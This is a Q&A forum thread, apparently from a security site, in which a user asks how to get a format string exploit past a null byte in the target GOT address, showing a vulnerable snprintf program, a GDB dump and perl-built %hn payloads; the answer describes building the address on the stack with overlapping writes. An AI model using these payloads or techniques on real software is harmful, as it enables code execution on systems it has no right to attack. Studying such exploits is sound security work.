4

I am trying to perform a return to libc format string attack, but the address I want to write to ( 0x0804a000) has a null byte in it!! I have to read in my format string to snprintf so the null byte causes it to malfunction and Segfaults randomly. 

buf[70];
snprintf(buf, 80, argv[1]);
printf(buf);

Here is the GDB dump for printf@plt:

(gdb) disassem 0x080483c0
Dump of assembler code for function printf@plt:
0x080483c0 <+0>:    jmp    *0x804a000
0x080483c6 <+6>:    push   $0x0
0x080483cb <+11>:   jmp    0x80483b0
End of assembler dump.

Does anyone have any ideas?

My current method is running it like this

./program `perl -e 'print "sh;#\x00\xa0\x04\x08%12345x%10$hn"'`

but there is a null byte. I have also tried

./program `perl -e 'print "sh;#\xff\x9f\x04\x08\x00\xa0\x04\x08%12345x%10$hn%12345x%11$hn"'`

but the address before 0x0804a000 has the global offset table, and therefore snprintf Segfaults before even returning the to function that calls it.

user1455332
  • 121
  • 7

1 Answers1

3

A common way out of this is to make some "memory construction" using the stack.

At the end of the construction you need to have somewhere on the stack (let's call that location n and let's say it correspond to the fifth parameter) :

00 a0 04 08

Given that you can start by writing 0x01 (Or whatever you prefer, we are only interested in the null byte) to n-1. The memory at location n will looks like :

00 ?? ?? ??

Then write 0x04a0 into n+1 thus the memory at location n looks like :

00 a0 04 ??

The final step would be to write 0xff08 into n+3.

Once that's done you can use direct parameter accessing to get your address and write a value at the pointed location.

%12345x%5$n

All you have to do is play with $hn and $n and find a way to overlap the data that suit you. I hope you get the idea.

dna
  • 1,085
  • 7
  • 15